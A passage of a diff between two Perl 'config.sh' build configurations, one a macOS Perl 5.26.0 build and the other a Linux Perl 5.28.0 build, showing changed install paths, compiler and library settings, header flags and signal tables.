-extensions='B Compress/Raw/Bzip2 Compress/Raw/Zlib Cwd DB_File Data/Dumper Devel/PPPort Devel/Peek Digest/MD5 Digest/SHA Encode Fcntl File/DosGlob File/Glob Filter/Util/Call GDBM_File Hash/Util Hash/Util/FieldHash I18N/Langinfo IO IPC/SysV List/Util MIME/Base64 Math/BigInt/FastCalc NDBM_File Opcode POSIX PerlIO/encoding PerlIO/mmap PerlIO/scalar PerlIO/via SDBM_File Socket Storable Sys/Hostname Sys/Syslog Tie/Hash/NamedCapture Time/HiRes Time/Piece Unicode/Collate Unicode/Normalize XS/APItest XS/Typemap arybase attributes mro re threads threads/shared Archive/Tar Attribute/Handlers AutoLoader B/Debug CPAN CPAN/Meta CPAN/Meta/Requirements CPAN/Meta/YAML Carp Config/Perl/V Devel/SelfStubber Digest Dumpvalue Env Errno Exporter ExtUtils/CBuilder ExtUtils/Constant ExtUtils/Install ExtUtils/MakeMaker ExtUtils/Manifest ExtUtils/Miniperl ExtUtils/ParseXS File/Fetch File/Find File/Path File/Temp FileCache Filter/Simple Getopt/Long HTTP/Tiny I18N/Collate I18N/LangTags IO/Compress IO/Socket/IP IO/Zlib IPC/Cmd IPC/Open3 JSON/PP Locale/Codes Locale/Maketext Locale/Maketext/Simple Math/BigInt Math/BigRat Math/Complex Memoize Module/CoreList Module/Load Module/Load/Conditional Module/Loaded Module/Metadata NEXT Net/Ping Params/Check Parse/CPAN/Meta Perl/OSType PerlIO/via/QuotedPrint Pod/Checker Pod/Escapes Pod/Functions Pod/Html Pod/Parser Pod/Perldoc Pod/Simple Pod/Usage Safe Search/Dict SelfLoader Term/ANSIColor Term/Cap Term/Complete Term/ReadLine Test Test/Harness Test/Simple Text/Abbrev Text/Balanced Text/ParseWords Text/Tabs Thread/Queue Thread/Semaphore Tie/File Tie/Memoize Tie/RefHash Time/Local XSLoader autodie autouse base bignum constant encoding/warnings experimental if lib libnet parent perlfaq podlators version'
+extensions='B Compress/Raw/Bzip2 Compress/Raw/Zlib Cwd DB_File Data/Dumper Devel/PPPort Devel/Peek Digest/MD5 Digest/SHA Encode Fcntl File/DosGlob File/Glob Filter/Util/Call GDBM_File Hash/Util Hash/Util/FieldHash I18N/Langinfo IO IPC/SysV List/Util MIME/Base64 Math/BigInt/FastCalc NDBM_File ODBM_File Opcode POSIX PerlIO/encoding PerlIO/mmap PerlIO/scalar PerlIO/via SDBM_File Socket Storable Sys/Hostname Sys/Syslog Tie/Hash/NamedCapture Time/HiRes Time/Piece Unicode/Collate Unicode/Normalize XS/APItest XS/Typemap arybase attributes mro re threads threads/shared Archive/Tar Attribute/Handlers AutoLoader B/Debug CPAN CPAN/Meta CPAN/Meta/Requirements CPAN/Meta/YAML Carp Config/Perl/V Devel/SelfStubber Digest Dumpvalue Env Errno Exporter ExtUtils/CBuilder ExtUtils/Constant ExtUtils/Install ExtUtils/MakeMaker ExtUtils/Manifest ExtUtils/Miniperl ExtUtils/ParseXS File/Fetch File/Find File/Path File/Temp FileCache Filter/Simple Getopt/Long HTTP/Tiny I18N/Collate I18N/LangTags IO/Compress IO/Socket/IP IO/Zlib IPC/Cmd IPC/Open3 JSON/PP Locale/Codes Locale/Maketext Locale/Maketext/Simple Math/BigInt Math/BigRat Math/Complex Memoize Module/CoreList Module/Load Module/Load/Conditional Module/Loaded Module/Metadata NEXT Net/Ping Params/Check Perl/OSType PerlIO/via/QuotedPrint Pod/Checker Pod/Escapes Pod/Functions Pod/Html Pod/Parser Pod/Perldoc Pod/Simple Pod/Usage Safe Search/Dict SelfLoader Term/ANSIColor Term/Cap Term/Complete Term/ReadLine Test Test/Harness Test/Simple Text/Abbrev Text/Balanced Text/ParseWords Text/Tabs Thread/Queue Thread/Semaphore Tie/File Tie/Memoize Tie/RefHash Time/Local XSLoader autodie autouse base bignum constant encoding/warnings experimental if lib libnet parent perlfaq podlators version'
 extern_C='extern'
 extras=''
 fflushNULL='define'
 fflushall='undef'
 find=''
-firstmakefile='GNUmakefile'
+firstmakefile='makefile'
 flex=''
-fpossize='8'
+fpossize='16'
 fpostype='fpos_t'
 freetype='void'
 from=':'
-full_ar='/opt/local/bin/ar'
+full_ar='/usr/bin/ar'
 full_csh='/bin/csh'
-full_sed='/opt/local/libexec/gnubin/sed'
+full_sed='/bin/sed'
 gccansipedantic=''
 gccosandvers=''
-gccversion='4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)'
+gccversion='4.9.2'
 getgrent_r_proto='0'
 getgrgid_r_proto='0'
 getgrnam_r_proto='0'
@@ -723,7 +729,7 @@
 glibpth='/usr/shlib  /lib /usr/lib /usr/lib/386 /lib/386 /usr/ccs/lib /usr/ucblib /usr/local/lib '
 gmake='gmake'
 gmtime_r_proto='0'
-gnulibc_version=''
+gnulibc_version='2.19'
 grep='grep'
 groupcat='cat /etc/group'
 groupstype='gid_t'
@@ -730,8 +736,8 @@
 gzip='gzip'
 h_fcntl='false'
 h_sysfile='true'
-hint='previous'
-hostcat='cat /etc/hosts'
+hint='recommended'
+hostcat=''
 hostgenerate=''
 hostosname=''
 hostperl=''
@@ -748,22 +754,20 @@
 i8size='1'
 i8type='signed char'
 i_arpainet='define'
-i_assert='define'
 i_bfd='undef'
 i_bsdioctl=''
-i_crypt='undef'
+i_crypt='define'
 i_db='define'
-i_dbm='undef'
+i_dbm='define'
 i_dirent='define'
 i_dlfcn='define'
 i_execinfo='define'
 i_fcntl='undef'
 i_fenv='define'
-i_float='define'
 i_fp='undef'
 i_fp_class='undef'
 i_gdbm='define'
-i_gdbm_ndbm='undef'
+i_gdbm_ndbm='define'
 i_gdbmndbm='undef'
 i_grp='define'
 i_ieeefp='undef'
@@ -770,39 +774,33 @@
 i_inttypes='define'
 i_langinfo='define'
 i_libutil='undef'
-i_limits='define'
 i_locale='define'
 i_machcthr='undef'
-i_malloc='undef'
-i_mallocmalloc='define'
-i_math='define'
-i_memory='undef'
-i_mntent='undef'
-i_ndbm='define'
+i_malloc='define'
+i_mallocmalloc='undef'
+i_mntent='define'
+i_ndbm='undef'
 i_netdb='define'
 i_neterrno='undef'
 i_netinettcp='define'
 i_niin='define'
-i_poll='undef'
+i_poll='define'
 i_prot='undef'
 i_pthread='define'
 i_pwd='define'
-i_quadmath='undef'
+i_quadmath='define'
 i_rpcsvcdbm='undef'
 i_sgtty='undef'
-i_shadow='undef'
+i_shadow='define'
 i_socks='undef'
-i_stdarg='define'
 i_stdbool='define'
-i_stddef='define'
 i_stdint='define'
 i_stdlib='define'
-i_string='define'
 i_sunmath='undef'
 i_sysaccess='undef'
 i_sysdir='define'
 i_sysfile='define'
-i_sysfilio='define'
+i_sysfilio='undef'
 i_sysin='undef'
 i_sysioctl='define'
 i_syslog='define'
@@ -815,9 +813,9 @@
 i_sysresrc='define'
 i_syssecrt='undef'
 i_sysselct='define'
-i_syssockio='define'
+i_syssockio='undef'
 i_sysstat='define'
-i_sysstatfs='undef'
+i_sysstatfs='define'
 i_sysstatvfs='define'
 i_systime='define'
 i_systimek='undef'
@@ -826,45 +824,43 @@
 i_sysuio='define'
 i_sysun='define'
 i_sysutsname='define'
-i_sysvfs='undef'
+i_sysvfs='define'
 i_syswait='define'
 i_termio='undef'
 i_termios='define'
-i_time='undef'
+i_time='define'
 i_unistd='define'
-i_ustat='undef'
+i_ustat='define'
 i_utime='define'
-i_values='undef'
-i_varargs='undef'
-i_varhdr='stdarg.h'
 i_vfork='undef'
+i_wchar='define'
 i_xlocale='define'
-ignore_versioned_solibs=''
+ignore_versioned_solibs='y'
 inc_version_list=''
 inc_version_list_init='0'
 incpath=''
-incpth='/usr/local/include /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/include /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include /usr/include /usr/local/include /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/include /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include /usr/include /usr/local/include /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/include /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include /usr/include'
+incpth='/usr/lib/gcc/x86_64-linux-gnu/4.9/include /usr/local/include /usr/lib/gcc/x86_64-linux-gnu/4.9/include-fixed /usr/include/x86_64-linux-gnu /usr/include'
 inews=''
-initialinstalllocation='/tmp/mblead/bin'
-installarchlib='/tmp/mblead/lib/perl5/5.26.0/darwin-2level'
-installbin='/tmp/mblead/bin'
+initialinstalllocation='/opt/perl/bin'
+installarchlib='/opt/perl/lib/5.28.0/x86_64-linux'
+installbin='/opt/perl/bin'
 installhtml1dir=''
 installhtml3dir=''
-installman1dir='/tmp/mblead/man/man1'
-installman3dir='/tmp/mblead/man/man3'
-installprefix='/tmp/mblead'
-installprefixexp='/tmp/mblead'
-installprivlib='/tmp/mblead/lib/perl5/5.26.0'
-installscript='/tmp/mblead/bin'
-installsitearch='/tmp/mblead/lib/perl5/site_perl/5.26.0/darwin-2level'
-installsitebin='/tmp/mblead/bin'
+installman1dir='/opt/perl/man/man1'
+installman3dir='/opt/perl/man/man3'
+installprefix='/opt/perl'
+installprefixexp='/opt/perl'
+installprivlib='/opt/perl/lib/5.28.0'
+installscript='/opt/perl/bin'
+installsitearch='/opt/perl/lib/site_perl/5.28.0/x86_64-linux'
+installsitebin='/opt/perl/bin'
 installsitehtml1dir=''
 installsitehtml3dir=''
-installsitelib='/tmp/mblead/lib/perl5/site_perl/5.26.0'
-installsiteman1dir='/tmp/mblead/man/man1'
-installsiteman3dir='/tmp/mblead/man/man3'
-installsitescript='/tmp/mblead/bin'
-installstyle='lib/perl5'
+installsitelib='/opt/perl/lib/site_perl/5.28.0'
+installsiteman1dir='/opt/perl/man/man1'
+installsiteman3dir='/opt/perl/man/man3'
+installsitescript='/opt/perl/bin'
+installstyle='lib'
 installusrbinperl='undef'
 installvendorarch=''
 installvendorbin=''
@@ -879,31 +875,31 @@
 ivdformat='"ld"'
 ivsize='8'
 ivtype='long'
-known_extensions='Amiga/ARexx Amiga/Exec Archive/Tar Attribute/Handlers AutoLoader B B/Debug CPAN CPAN/Meta CPAN/Meta/Requirements CPAN/Meta/YAML Carp Compress/Raw/Bzip2 Compress/Raw/Zlib Config/Perl/V Cwd DB_File Data/Dumper Devel/PPPort Devel/Peek Devel/SelfStubber Digest Digest/MD5 Digest/SHA Dumpvalue Encode Env Errno Exporter ExtUtils/CBuilder ExtUtils/Constant ExtUtils/Install ExtUtils/MakeMaker ExtUtils/Manifest ExtUtils/Miniperl ExtUtils/ParseXS Fcntl File/DosGlob File/Fetch File/Find File/Glob File/Path File/Temp FileCache Filter/Simple Filter/Util/Call GDBM_File Getopt/Long HTTP/Tiny Hash/Util Hash/Util/FieldHash I18N/Collate I18N/LangTags I18N/Langinfo IO IO/Compress IO/Socket/IP IO/Zlib IPC/Cmd IPC/Open3 IPC/SysV JSON/PP List/Util Locale/Codes Locale/Maketext Locale/Maketext/Simple MIME/Base64 Math/BigInt Math/BigInt/FastCalc Math/BigRat Math/Complex Memoize Module/CoreList Module/Load Module/Load/Conditional Module/Loaded Module/Metadata NDBM_File NEXT Net/Ping ODBM_File Opcode POSIX Params/Check Parse/CPAN/Meta Perl/OSType PerlIO/encoding PerlIO/mmap PerlIO/scalar PerlIO/via PerlIO/via/QuotedPrint Pod/Checker Pod/Escapes Pod/Functions Pod/Html Pod/Parser Pod/Perldoc Pod/Simple Pod/Usage SDBM_File Safe Search/Dict SelfLoader Socket Storable Sys/Hostname Sys/Syslog Term/ANSIColor Term/Cap Term/Complete Term/ReadLine Test Test/Harness Test/Simple Text/Abbrev Text/Balanced Text/ParseWords Text/Tabs Thread/Queue Thread/Semaphore Tie/File Tie/Hash/NamedCapture Tie/Memoize Tie/RefHash Time/HiRes Time/Local Time/Piece Unicode/Collate Unicode/Normalize VMS/DCLsym VMS/Filespec VMS/Stdio Win32 Win32API/File Win32CORE XS/APItest XS/Typemap XSLoader arybase attributes autodie autouse base bignum constant encoding/warnings experimental if lib libnet mro parent perlfaq podlators re threads threads/shared version '
+known_extensions='Amiga/ARexx Amiga/Exec Archive/Tar Attribute/Handlers AutoLoader B B/Debug CPAN CPAN/Meta CPAN/Meta/Requirements CPAN/Meta/YAML Carp Compress/Raw/Bzip2 Compress/Raw/Zlib Config/Perl/V Cwd DB_File Data/Dumper Devel/PPPort Devel/Peek Devel/SelfStubber Digest Digest/MD5 Digest/SHA Dumpvalue Encode Env Errno Exporter ExtUtils/CBuilder ExtUtils/Constant ExtUtils/Install ExtUtils/MakeMaker ExtUtils/Manifest ExtUtils/Miniperl ExtUtils/ParseXS Fcntl File/DosGlob File/Fetch File/Find File/Glob File/Path File/Temp FileCache Filter/Simple Filter/Util/Call GDBM_File Getopt/Long HTTP/Tiny Hash/Util Hash/Util/FieldHash I18N/Collate I18N/LangTags I18N/Langinfo IO IO/Compress IO/Socket/IP IO/Zlib IPC/Cmd IPC/Open3 IPC/SysV JSON/PP List/Util Locale/Codes Locale/Maketext Locale/Maketext/Simple MIME/Base64 Math/BigInt Math/BigInt/FastCalc Math/BigRat Math/Complex Memoize Module/CoreList Module/Load Module/Load/Conditional Module/Loaded Module/Metadata NDBM_File NEXT Net/Ping ODBM_File Opcode POSIX Params/Check Perl/OSType PerlIO/encoding PerlIO/mmap PerlIO/scalar PerlIO/via PerlIO/via/QuotedPrint Pod/Checker Pod/Escapes Pod/Functions Pod/Html Pod/Parser Pod/Perldoc Pod/Simple Pod/Usage SDBM_File Safe Search/Dict SelfLoader Socket Storable Sys/Hostname Sys/Syslog Term/ANSIColor Term/Cap Term/Complete Term/ReadLine Test Test/Harness Test/Simple Text/Abbrev Text/Balanced Text/ParseWords Text/Tabs Thread/Queue Thread/Semaphore Tie/File Tie/Hash/NamedCapture Tie/Memoize Tie/RefHash Time/HiRes Time/Local Time/Piece Unicode/Collate Unicode/Normalize VMS/DCLsym VMS/Filespec VMS/Stdio Win32 Win32API/File Win32CORE XS/APItest XS/Typemap XSLoader arybase attributes autodie autouse base bignum constant encoding/warnings experimental if lib libnet mro parent perlfaq podlators re threads threads/shared version '
 ksh=''
 ld='cc'
-ld_can_script='undef'
-lddlflags=' -mmacosx-version-min=10.9 -bundle -undefined dynamic_lookup -L/usr/local/lib -L/opt/local/lib -fstack-protector'
-ldflags=' -mmacosx-version-min=10.9 -fstack-protector -L/usr/local/lib -L/opt/local/lib'
+ld_can_script='define'
+lddlflags='-shared -O2 -L/usr/local/lib -fstack-protector-strong'
+ldflags=' -fstack-protector-strong -L/usr/local/lib'
 ldflags_uselargefiles=''
-ldlibpthname='DYLD_LIBRARY_PATH'
+ldlibpthname='LD_LIBRARY_PATH'
 less='less'
 lib_ext='.a'
-libc=''
+libc='libc-2.19.so'
 libperl='libperl.a'
-libpth='/usr/local/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib /usr/lib /opt/local/lib /usr/local/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib /usr/lib /usr/local/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib /usr/lib'
-libs='-lpthread -lgdbm -ldbm -ldl -lm -lutil -lc'
-libsdirs=''
-libsfiles=''
-libsfound=''
-libspath=' /usr/local/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib /usr/lib /opt/local/lib /usr/local/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib /usr/lib /usr/local/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/../lib/clang/6.0/lib /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib /usr/lib'
-libswanted='cl pthread socket bind inet nsl ndbm gdbm dbm db malloc dl ld sun m crypt sec util c cposix posix ucb bsd BSD'
+libpth='/usr/local/lib /usr/lib/gcc/x86_64-linux-gnu/4.9/include-fixed /usr/include/x86_64-linux-gnu /usr/lib /lib/x86_64-linux-gnu /lib/../lib /usr/lib/x86_64-linux-gnu /usr/lib/../lib /lib'
+libs='-lpthread -lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lc -lgdbm_compat'
+libsdirs=' /usr/lib/x86_64-linux-gnu'
+libsfiles=' libpthread.so libnsl.so libgdbm.so libdb.so libdl.so libm.so libcrypt.so libutil.so libc.so libgdbm_compat.so'
+libsfound=' /usr/lib/x86_64-linux-gnu/libpthread.so /usr/lib/x86_64-linux-gnu/libnsl.so /usr/lib/x86_64-linux-gnu/libgdbm.so /usr/lib/x86_64-linux-gnu/libdb.so /usr/lib/x86_64-linux-gnu/libdl.so /usr/lib/x86_64-linux-gnu/libm.so /usr/lib/x86_64-linux-gnu/libcrypt.so /usr/lib/x86_64-linux-gnu/libutil.so /usr/lib/x86_64-linux-gnu/libc.so /usr/lib/x86_64-linux-gnu/libgdbm_compat.so'
+libspath=' /usr/local/lib /usr/lib/gcc/x86_64-linux-gnu/4.9/include-fixed /usr/include/x86_64-linux-gnu /usr/lib /lib/x86_64-linux-gnu /lib/../lib /usr/lib/x86_64-linux-gnu /usr/lib/../lib /lib'
+libswanted='cl pthread cl pthread socket inet nsl gdbm dbm db malloc dl ld sun m crypt sec util c cposix posix ucb BSD gdbm_compat'
 libswanted_uselargefiles=''
 line=''
 lint=''
 lkflags=''
 ln='ln'
-lns='/opt/local/libexec/gnubin/ln -s'
+lns='/bin/ln -s'
 localtime_r_proto='0'
 locincpth='/usr/local/include /opt/local/include /usr/gnu/include /opt/gnu/include /usr/GNU/include /opt/GNU/include'
 loclibpth='/usr/local/lib /opt/local/lib /usr/gnu/lib /opt/gnu/lib /usr/GNU/lib /opt/GNU/lib'
@@ -910,7 +906,7 @@
 longdblinfbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x7f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00'
 longdblkind='3'
 longdblmantbits='64'
-longdblnanbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00'
+longdblnanbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00'
 longdblsize='16'
 longlongsize='8'
 longsize='8'
@@ -926,11 +922,11 @@
 mallocobj=''
 mallocsrc=''
 malloctype='void *'
-man1dir='/tmp/mblead/man/man1'
-man1direxp='/tmp/mblead/man/man1'
+man1dir='/opt/perl/man/man1'
+man1direxp='/opt/perl/man/man1'
 man1ext='1'
-man3dir='/tmp/mblead/man/man3'
-man3direxp='/tmp/mblead/man/man3'
+man3dir='/opt/perl/man/man3'
+man3direxp='/opt/perl/man/man3'
 man3ext='3'
 mips_type=''
 mistrustnm=''
@@ -938,12 +934,12 @@
 mmaptype='void *'
 modetype='mode_t'
 more='more'
-multiarch='define'
+multiarch='undef'
 mv=''
-myarchname='i386-darwin'
-mydomain='.nonet'
-myhostname='daybreak'
-myuname='darwin daybreak 13.4.0 darwin kernel version 13.4.0: mon jan 11 18:17:34 pst 2016; root:xnu-2422.115.15~1release_x86_64 x86_64 i386 macbookpro11,3 darwin '
+myarchname='x86_64-linux'
+mydomain='.yourplace.com'
+myhostname='yourhost'
+myuname='linux barba.rous.org 3.16.0-4-amd64 #1 smp debian 3.16.43-2+deb8u2 (2017-06-26) x86_64 gnulinux '
 n='-n'
 need_va_copy='define'
 netdb_hlen_type='size_t'
@@ -952,8 +948,8 @@
 netdb_net_type='in_addr_t'
 nm='nm'
 nm_opt=''
-nm_so_opt=''
-nonxs_ext='Archive/Tar Attribute/Handlers AutoLoader B/Debug CPAN CPAN/Meta CPAN/Meta/Requirements CPAN/Meta/YAML Carp Config/Perl/V Devel/SelfStubber Digest Dumpvalue Env Errno Exporter ExtUtils/CBuilder ExtUtils/Constant ExtUtils/Install ExtUtils/MakeMaker ExtUtils/Manifest ExtUtils/Miniperl ExtUtils/ParseXS File/Fetch File/Find File/Path File/Temp FileCache Filter/Simple Getopt/Long HTTP/Tiny I18N/Collate I18N/LangTags IO/Compress IO/Socket/IP IO/Zlib IPC/Cmd IPC/Open3 JSON/PP Locale/Codes Locale/Maketext Locale/Maketext/Simple Math/BigInt Math/BigRat Math/Complex Memoize Module/CoreList Module/Load Module/Load/Conditional Module/Loaded Module/Metadata NEXT Net/Ping Params/Check Parse/CPAN/Meta Perl/OSType PerlIO/via/QuotedPrint Pod/Checker Pod/Escapes Pod/Functions Pod/Html Pod/Parser Pod/Perldoc Pod/Simple Pod/Usage Safe Search/Dict SelfLoader Term/ANSIColor Term/Cap Term/Complete Term/ReadLine Test Test/Harness Test/Simple Text/Abbrev Text/Balanced Text/ParseWords Text/Tabs Thread/Queue Thread/Semaphore Tie/File Tie/Memoize Tie/RefHash Time/Local XSLoader autodie autouse base bignum constant encoding/warnings experimental if lib libnet parent perlfaq podlators version'
+nm_so_opt='--dynamic'
+nonxs_ext='Archive/Tar Attribute/Handlers AutoLoader B/Debug CPAN CPAN/Meta CPAN/Meta/Requirements CPAN/Meta/YAML Carp Config/Perl/V Devel/SelfStubber Digest Dumpvalue Env Errno Exporter ExtUtils/CBuilder ExtUtils/Constant ExtUtils/Install ExtUtils/MakeMaker ExtUtils/Manifest ExtUtils/Miniperl ExtUtils/ParseXS File/Fetch File/Find File/Path File/Temp FileCache Filter/Simple Getopt/Long HTTP/Tiny I18N/Collate I18N/LangTags IO/Compress IO/Socket/IP IO/Zlib IPC/Cmd IPC/Open3 JSON/PP Locale/Codes Locale/Maketext Locale/Maketext/Simple Math/BigInt Math/BigRat Math/Complex Memoize Module/CoreList Module/Load Module/Load/Conditional Module/Loaded Module/Metadata NEXT Net/Ping Params/Check Perl/OSType PerlIO/via/QuotedPrint Pod/Checker Pod/Escapes Pod/Functions Pod/Html Pod/Parser Pod/Perldoc Pod/Simple Pod/Usage Safe Search/Dict SelfLoader Term/ANSIColor Term/Cap Term/Complete Term/ReadLine Test Test/Harness Test/Simple Text/Abbrev Text/Balanced Text/ParseWords Text/Tabs Thread/Queue Thread/Semaphore Tie/File Tie/Memoize Tie/RefHash Time/Local XSLoader autodie autouse base bignum constant encoding/warnings experimental if lib libnet parent perlfaq podlators version'
 nroff='nroff'
 nvEUformat='"E"'
 nvFUformat='"F"'
@@ -969,35 +965,34 @@
 o_nonblock='O_NONBLOCK'
 obj_ext='.o'
 old_pthread_create_joinable=''
-optimize='-O3'
+optimize='-O2'
 orderlib='false'
-osname='darwin'
-osvers='13.4.0'
+osname='linux'
+osvers='3.16.0-4-amd64'
 otherlibdirs=' '
 package='perl5'
-pager='/Users/aaron/usr/bin/less -R'
+pager='/usr/bin/less -R'
 passcat='cat /etc/passwd'
-patchlevel='24'
+patchlevel='27'
 path_sep=':'
-perl5='/Users/aaron/perl5/perlbrew/perls/perl-5.22.0/bin/perl'
+perl5='/usr/bin/perl'
 perl='perl'
 perl_patchlevel=''
 perl_static_inline='static __inline__'
-perladmin='aaron at daybreak.nonet'
-perllibs='-lpthread -ldl -lm -lutil -lc'
-perlpath='/tmp/mblead/bin/perl5.26.0'
+perladmin='yourname at yourhost.yourplace.com'
+perllibs='-lpthread -lnsl -ldl -lm -lcrypt -lutil -lc'
+perlpath='/opt/perl/bin/perl5.28.0'
 pg='pg'
-phostname='hostname'
+phostname=''
 pidtype='pid_t'
-plibpth=''
+plibpth='/lib/x86_64-linux-gnu/4.9 /lib/x86_64-linux-gnu /lib/../lib /usr/lib/x86_64-linux-gnu/4.9 /usr/lib/x86_64-linux-gnu /usr/lib/../lib /lib /usr/lib'
 pmake=''
 pr=''
-prefix='/tmp/mblead'
-prefixexp='/tmp/mblead'
-privlib='/tmp/mblead/lib/perl5/5.26.0'
-privlibexp='/tmp/mblead/lib/perl5/5.26.0'
-procselfexe=''
-prototype='define'
+prefix='/opt/perl'
+prefixexp='/opt/perl'
+privlib='/opt/perl/lib/5.28.0'
+privlibexp='/opt/perl/lib/5.28.0'
+procselfexe='"/proc/self/exe"'
 ptrsize='8'
 quadkind='2'
 quadtype='long'
@@ -1005,13 +1000,13 @@
 randfunc='Perl_drand48'
 random_r_proto='0'
 randseedtype='U32'
-ranlib='ranlib'
+ranlib=':'
 rd_nodata='-1'
 readdir64_r_proto='0'
 readdir_r_proto='0'
 revision='5'
 rm='rm'
-rm_try='/opt/local/libexec/gnubin/rm -f try try a.out .out try.[cho] try..o core core.try* try.core*'
+rm_try='/bin/rm -f try try a.out .out try.[cho] try..o core core.try* try.core*'
 rmail=''
 run=''
 runnm='false'
@@ -1018,7 +1013,7 @@
 sGMTIME_max='67768036191676799'
 sGMTIME_min='-62167219200'
 sLOCALTIME_max='67768036191676799'
-sLOCALTIME_min='-62167219200'
+sLOCALTIME_min='-62167219125'
 sPRIEUldbl='"LE"'
 sPRIFUldbl='"LF"'
 sPRIGUldbl='"LG"'
@@ -1033,11 +1028,11 @@
 sPRIx64='"lx"'
 sSCNfldbl='"Lf"'
 sched_yield='sched_yield()'
-scriptdir='/tmp/mblead/bin'
-scriptdirexp='/tmp/mblead/bin'
+scriptdir='/opt/perl/bin'
+scriptdirexp='/opt/perl/bin'
 sed='sed'
 seedfunc='Perl_drand48_init'
-selectminbits='32'
+selectminbits='64'
 selecttype='fd_set *'
 sendmail=''
 setgrent_r_proto='0'
@@ -1054,37 +1049,37 @@
 shortsize='2'
 shrpenv=''
 shsharp='true'
-sig_count='32'
-sig_name='ZERO HUP INT QUIT ILL TRAP ABRT EMT FPE KILL BUS SEGV SYS PIPE ALRM TERM URG STOP TSTP CONT CHLD TTIN TTOU IO XCPU XFSZ VTALRM PROF WINCH INFO USR1 USR2 IOT '
-sig_name_init='"ZERO", "HUP", "INT", "QUIT", "ILL", "TRAP", "ABRT", "EMT", "FPE", "KILL", "BUS", "SEGV", "SYS", "PIPE", "ALRM", "TERM", "URG", "STOP", "TSTP", "CONT", "CHLD", "TTIN", "TTOU", "IO", "XCPU", "XFSZ", "VTALRM", "PROF", "WINCH", "INFO", "USR1", "USR2", "IOT", 0'
-sig_num='0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 6 '
-sig_num_init='0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 6, 0'
-sig_size='33'
+sig_count='65'
+sig_name='ZERO HUP INT QUIT ILL TRAP ABRT BUS FPE KILL USR1 SEGV USR2 PIPE ALRM TERM STKFLT CHLD CONT STOP TSTP TTIN TTOU URG XCPU XFSZ VTALRM PROF WINCH IO PWR SYS NUM32 NUM33 RTMIN NUM35 NUM36 NUM37 NUM38 NUM39 NUM40 NUM41 NUM42 NUM43 NUM44 NUM45 NUM46 NUM47 NUM48 NUM49 NUM50 NUM51 NUM52 NUM53 NUM54 NUM55 NUM56 NUM57 NUM58 NUM59 NUM60 NUM61 NUM62 NUM63 RTMAX IOT CLD POLL UNUSED '
+sig_name_init='"ZERO", "HUP", "INT", "QUIT", "ILL", "TRAP", "ABRT", "BUS", "FPE", "KILL", "USR1", "SEGV", "USR2", "PIPE", "ALRM", "TERM", "STKFLT", "CHLD", "CONT", "STOP", "TSTP", "TTIN", "TTOU", "URG", "XCPU", "XFSZ", "VTALRM", "PROF", "WINCH", "IO", "PWR", "SYS", "NUM32", "NUM33", "RTMIN", "NUM35", "NUM36", "NUM37", "NUM38", "NUM39", "NUM40", "NUM41", "NUM42", "NUM43", "NUM44", "NUM45", "NUM46", "NUM47", "NUM48", "NUM49", "NUM50", "NUM51", "NUM52", "NUM53", "NUM54", "NUM55", "NUM56", "NUM57", "NUM58", "NUM59", "NUM60", "NUM61", "NUM62", "NUM63", "RTMAX", "IOT", "CLD", "POLL", "UNUSED", 0'
+sig_num='0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 6 17 29 31 '
+sig_num_init='0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 6, 17, 29, 31, 0'
+sig_size='69'
 signal_t='void'
-sitearch='/tmp/mblead/lib/perl5/site_perl/5.26.0/darwin-2level'
